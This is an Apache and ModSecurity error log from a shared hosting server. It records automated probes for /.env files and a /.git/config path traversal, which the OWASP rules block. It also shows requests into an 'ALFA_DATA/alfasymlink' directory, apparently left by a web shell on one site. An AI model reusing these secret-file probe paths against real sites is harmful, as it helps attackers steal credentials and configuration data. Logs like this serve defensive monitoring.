[Sun Oct 25 02:19:18.923932 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_wAAAAk"]
[Sun Oct 25 02:19:18.924169 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_wAAAAk"]
[Sun Oct 25 02:19:18.924445 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_wAAAAk"]
[Sun Oct 25 02:19:18.956828 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb7AAAADk"]
[Sun Oct 25 02:19:18.961330 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb7AAAADk"]
[Sun Oct 25 02:19:18.961824 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb7AAAADk"]
[Sun Oct 25 02:19:19.022234 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuKwAAAAs"]
[Sun Oct 25 02:19:19.022461 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuKwAAAAs"]
[Sun Oct 25 02:19:19.022804 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuKwAAAAs"]
[Sun Oct 25 02:19:19.167847 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AAAAAAk"]
[Sun Oct 25 02:19:19.168102 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AAAAAAk"]
[Sun Oct 25 02:19:19.168415 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AAAAAAk"]
[Sun Oct 25 02:19:19.183423 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7QAAADk"]
[Sun Oct 25 02:19:19.183672 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7QAAADk"]
[Sun Oct 25 02:19:19.184011 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7QAAADk"]
[Sun Oct 25 02:19:19.282476 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuLAAAAAs"]
[Sun Oct 25 02:19:19.282769 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuLAAAAAs"]
[Sun Oct 25 02:19:19.283076 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at2fZ3qPPT_6tJCMTRvuLAAAAAs"]
[Sun Oct 25 02:19:19.400060 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AQAAAAk"]
[Sun Oct 25 02:19:19.400280 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AQAAAAk"]
[Sun Oct 25 02:19:19.400545 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at2fZzaSD7UWGB8jzmt4AQAAAAk"]
[Sun Oct 25 02:19:19.414790 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7gAAADk"]
[Sun Oct 25 02:19:19.415035 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7gAAADk"]
[Sun Oct 25 02:19:19.415297 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZ2TNY6y0aXZ6joCb7gAAADk"]
[Sun Oct 25 02:19:35.112978 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.194.139.149:33209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:19:38.455405 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 44.208.223.68:45904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory15/subsystem/drivers_probe
[Sun Oct 25 02:19:46.488440 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 54.147.238.89:1891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:19:50.910641 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 23.21.228.180:27669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:20:08.268158 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.198:42056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/partial
[Sun Oct 25 02:20:30.662911 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.235.191.179:58001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:20:36.929911 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 185.191.171.11:51680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/trace
[Sun Oct 25 02:20:46.625705 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.84.131.195:30065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:20:50.481161 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 184.73.167.217:42657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:20:54.662246 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.194.233.48:53023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:20:55.968916 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 185.191.171.3:61880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:21:02.489490 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 52.45.77.169:9849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:21:10.253344 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 44.207.69.106:23364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource0
[Sun Oct 25 02:21:22.175760 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 35.171.141.42:47921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:21:26.169677 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.234.197.175:28109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:21:30.221011 2026] [security2:error] [pid 2775710:tid 2775710] [client 3.220.148.166:21210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/driver/00:01/subsystem/devices/00:02/"] [unique_id "at2f6nqPPT_6tJCMTRvuMgAAAAs"]
[Sun Oct 25 02:21:30.221054 2026] [security2:error] [pid 2775710:tid 2775710] [client 3.220.148.166:21210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/driver/00:01/subsystem/devices/00:02/"] [unique_id "at2f6nqPPT_6tJCMTRvuMgAAAAs"]
[Sun Oct 25 02:21:34.181318 2026] [security2:error] [pid 2781030:tid 2781030] [client 52.3.156.186:16397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/thermal_cooling/"] [unique_id "at2f7rQKh4dfs72fmHxuzgAAAAE"]
[Sun Oct 25 02:21:34.181360 2026] [security2:error] [pid 2781030:tid 2781030] [client 52.3.156.186:16397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/thermal_cooling/"] [unique_id "at2f7rQKh4dfs72fmHxuzgAAAAE"]
[Sun Oct 25 02:21:50.174137 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.192.125.239:65399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:21:58.349863 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.207.89.138:22893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:02.230867 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.216.13.10:28220] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:06.182135 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 100.24.167.60:17420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:18.371368 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.193.102.198:48298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:22:19.536639 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 185.191.171.4:55440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/total_objects
[Sun Oct 25 02:22:26.970617 2026] [authz_core:error] [pid 2775708:tid 2775708] [client 45.138.12.25:12038] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:22:28.415154 2026] [authz_core:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:22:28.549743 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/lib../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dAAAAAo"]
[Sun Oct 25 02:22:28.549834 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/lib../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dAAAAAo"]
[Sun Oct 25 02:22:28.549898 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/lib../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dAAAAAo"]
[Sun Oct 25 02:22:28.550167 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/lib../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dAAAAAo"]
[Sun Oct 25 02:22:28.550581 2026] [security2:error] [pid 2775709:tid 2775709] [client 45.138.12.25:1245] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/lib../.git/config"] [unique_id "at2gJFyqe9jgJ5nfJHB7dAAAAAo"]
